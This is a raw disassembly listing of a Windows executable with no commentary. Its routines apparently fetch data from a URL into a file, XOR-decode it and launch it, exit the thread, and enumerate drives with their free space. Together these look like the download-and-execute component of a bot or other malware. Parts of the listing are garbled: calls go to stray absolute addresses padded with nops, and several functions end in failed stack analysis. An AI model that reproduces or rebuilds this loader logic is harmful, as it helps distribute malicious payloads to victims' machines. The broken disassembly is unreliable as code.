		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40CA63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40CA04
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4196EF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43F664
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		jmp	short loc_40C99C
; ---------------------------------------------------------------------------

loc_40CA04:				; CODE XREF: sub_40C8B4+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E108
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_4]
		call	sub_417900
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43F700
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	1
		nop
		call	near ptr 25D0000h

loc_40CA63:				; CODE XREF: sub_40C8B4+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E28C
		push	eax
		call	sub_4172B0
		add	esp, 14h

loc_40CA93:				; CODE XREF: sub_40C8B4+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40CAB8
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		add	esp, 14h

loc_40CAB8:				; CODE XREF: sub_40C8B4+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40CAD3
		push	[ebp+var_4]
		call	sub_417900
		pop	ecx

loc_40CAD3:				; CODE XREF: sub_40C8B4+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40CAE1
		push	[ebp+arg_0]
		call	dword_43F700

loc_40CAE1:				; CODE XREF: sub_40C8B4+222j
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25D0000h
sub_40C8B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAF1	proc near		; DATA XREF: sub_40EE72+3820o
					; sub_40EE72+3F6Fo

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43F618
		call	dword_43F578
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40CF7D
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	near ptr 2610691h
		nop
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40CBB8
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E5E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CB9B
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CB9B:				; CODE XREF: sub_40CAF1+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25D0000h
		nop

loc_40CBB8:				; CODE XREF: sub_40CAF1+68j
		xor	edi, edi
		nop
		call	near ptr 25D05AFh
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417B89
		pop	ecx
		mov	[ebp+var_1C], eax

loc_40CBD2:				; CODE XREF: sub_40CAF1+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43F580
		cmp	[ebp+var_34], esi
		jz	short loc_40CC16
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40CFE3
		pop	ecx
		pop	ecx

loc_40CC16:				; CODE XREF: sub_40CAF1+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		nop
		call	near ptr 2600000h
		cmp	edi, ebx
		jnb	short loc_40CC54
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40CC3E
		mov	eax, [ebp+arg_0]

loc_40CC3E:				; CODE XREF: sub_40CAF1+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_417390
		add	esp, 0Ch

loc_40CC54:				; CODE XREF: sub_40CAF1+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40CC61
		cmp	edi, [ebp+var_3C]
		ja	short loc_40CCAB

loc_40CC61:				; CODE XREF: sub_40CAF1+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40CC7B
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E59C
		jmp	short loc_40CC8B
; ---------------------------------------------------------------------------

loc_40CC7B:				; CODE XREF: sub_40CAF1+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E55C

loc_40CC8B:				; CODE XREF: sub_40CAF1+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_444EC0
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40CBD2

loc_40CCAB:				; CODE XREF: sub_40CAF1+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40CD00
		cmp	edi, [ebp+var_3C]
		jz	short loc_40CD00
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42E518
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_40CD00:				; CODE XREF: sub_40CAF1+1C4j
					; sub_40CAF1+1C9j
		nop
		call	near ptr 25D05AFh
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 25F1A27h
		push	[ebp+var_1C]
		call	sub_417C3B
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40CD8A
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C259
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40CD8A
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E4E0
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h

loc_40CD8A:				; CODE XREF: sub_40CAF1+241j
					; sub_40CAF1+253j
		cmp	[ebp+var_14], esi
		jz	loc_40CFCA
		cmp	[ebp+var_44], 1
		jz	loc_40CE85
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E498
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CE05
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CE05:				; CODE XREF: sub_40CAF1+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40CFCA
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43F5DC
		cmp	[ebp+var_30], esi
		jnz	loc_40CFCA
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42E464
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 24h
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------

loc_40CE85:				; CODE XREF: sub_40CAF1+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E414
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CEED
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CEED:				; CODE XREF: sub_40CAF1+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_43C80C
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		nop
		call	near ptr 27206A4h
		cmp	eax, edi
		jnz	short loc_40CF6F
		call	dword_43F5C8
		call	sub_40AC42
		push	esi
		nop
		call	near ptr 77E75CB5h

loc_40CF6F:				; CODE XREF: sub_40CAF1+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42E3CC
		jmp	short loc_40CF89
; ---------------------------------------------------------------------------

loc_40CF7D:				; CODE XREF: sub_40CAF1+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E390

loc_40CF89:				; CODE XREF: sub_40CAF1+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CFBD
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h

loc_40CFBD:				; CODE XREF: sub_40CAF1+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_40CFCA:				; CODE XREF: sub_40CAF1+29Cj
					; sub_40CAF1+325j ...
		push	[ebp+var_18]
		call	dword_43F69C
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 25D0000h
sub_40CAF1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CFE3	proc near		; CODE XREF: sub_40CAF1+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40CFFF

loc_40CFEF:				; CODE XREF: sub_40CFE3+1Aj
		mov	dl, byte_42F5C4
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40CFEF

locret_40CFFF:				; CODE XREF: sub_40CFE3+Aj
		retn
sub_40CFE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D000	proc near		; CODE XREF: sub_40EE72+2A7Ep
					; sub_40EE72+2BA4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4197F9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40D000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D01A	proc near		; CODE XREF: sub_406387+458p
					; sub_406387+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_443A38
		push	0
		push	edi
		call	sub_417330
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]

loc_40D03F:				; CODE XREF: sub_40D01A+5Bj
					; sub_40D01A+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4191D0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_419250
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40D07D
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40D03F
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40D03F
; ---------------------------------------------------------------------------

loc_40D07D:				; CODE XREF: sub_40D01A+4Bj
		dec	esi
		mov	eax, edi

loc_40D080:				; CODE XREF: sub_40D01A+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40D08F
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40D080
; ---------------------------------------------------------------------------

loc_40D08F:				; CODE XREF: sub_40D01A+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D01A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D099	proc near		; CODE XREF: sub_40D24E+51p
					; sub_40D24E+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43F6C8
		sub	eax, 0
		jz	short loc_40D0DC
		dec	eax
		jz	short loc_40D0D6
		dec	eax
		dec	eax
		jz	short loc_40D0D0
		dec	eax
		jz	short loc_40D0CA
		dec	eax
		jz	short loc_40D0C4
		dec	eax
		jz	short loc_40D0BE
		mov	eax, offset word_42DDD0
		retn
; ---------------------------------------------------------------------------

loc_40D0BE:				; CODE XREF: sub_40D099+1Dj
		mov	eax, offset off_42E644
		retn
; ---------------------------------------------------------------------------

loc_40D0C4:				; CODE XREF: sub_40D099+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------

loc_40D0CA:				; CODE XREF: sub_40D099+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------

loc_40D0D0:				; CODE XREF: sub_40D099+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------

loc_40D0D6:				; CODE XREF: sub_40D099+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------

loc_40D0DC:				; CODE XREF: sub_40D099+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40D099	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0E2	proc near		; CODE XREF: sub_40D12A+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43F564
		test	eax, eax
		jz	short loc_40D117
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax

loc_40D117:				; CODE XREF: sub_40D0E2+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D0E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D12A	proc near		; CODE XREF: sub_40B8D8+1F3p
					; sub_40D24E+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40D0E2
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		pop	ebx
		jmp	short loc_40D23A
; ---------------------------------------------------------------------------

loc_40D208:				; CODE XREF: sub_40D12A+2Cj
					; sub_40D12A+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40D23A:				; CODE XREF: sub_40D12A+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D12A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D24E	proc near		; CODE XREF: sub_40D320+17p
					; sub_40D320+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40D2C1
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E6A4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_40D2F5
; ---------------------------------------------------------------------------

loc_40D2C1:				; CODE XREF: sub_40D24E+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E658
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 20h

loc_40D2F5:				; CODE XREF: sub_40D24E+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D24E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D320	proc near		; CODE XREF: sub_40EE72+57F0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40D341
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h
		jmp	short loc_40D3A2
; ---------------------------------------------------------------------------

loc_40D341:				; CODE XREF: sub_40D320+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43F5D8
		lea	esi, [eax+2]
		push	esi
		call	sub_417B89
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43F5D8
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40D399

loc_40D365:				; CODE XREF: sub_40D320+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D388
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h

loc_40D388:				; CODE XREF: sub_40D320+54j
		push	esi
		call	sub_417AB0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40D365

loc_40D399:				; CODE XREF: sub_40D320+43j
		push	edi
		call	sub_417C3B
		pop	ecx
		pop	edi
		pop	esi

loc_40D3A2:				; CODE XREF: sub_40D320+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40D320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3A5	proc near		; DATA XREF: ___:0040E6BAo

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_4450CC
		call	dword_43F700
		call	sub_416F25
		call	dword_43F5C8
		call	dword_43F5C8
		mov	ebx, dword_424064
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43C80C
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 25E0000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2620000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 27206A4h
		nop
		test	eax, eax
		jz	short loc_40D46A
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_424078
		call	esi
		push	[ebp+var_C]
		call	esi

loc_40D46A:				; CODE XREF: sub_40D3A5+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_443A70
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx
sub_40D3A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D48D	proc near		; CODE XREF: sub_40D4C5+125p
					; sub_40D4C5+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40D4BB

loc_40D49E:				; CODE XREF: sub_40D48D+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4198F0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4C1
		inc	esi
		cmp	esi, edi
		jl	short loc_40D49E

loc_40D4BB:				; CODE XREF: sub_40D48D+Fj
		xor	al, al

loc_40D4BD:				; CODE XREF: sub_40D48D+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40D4C1:				; CODE XREF: sub_40D48D+27j
		mov	al, 1
		jmp	short loc_40D4BD
sub_40D48D	endp


; =============== S U B	R O U T	I N E =======================================

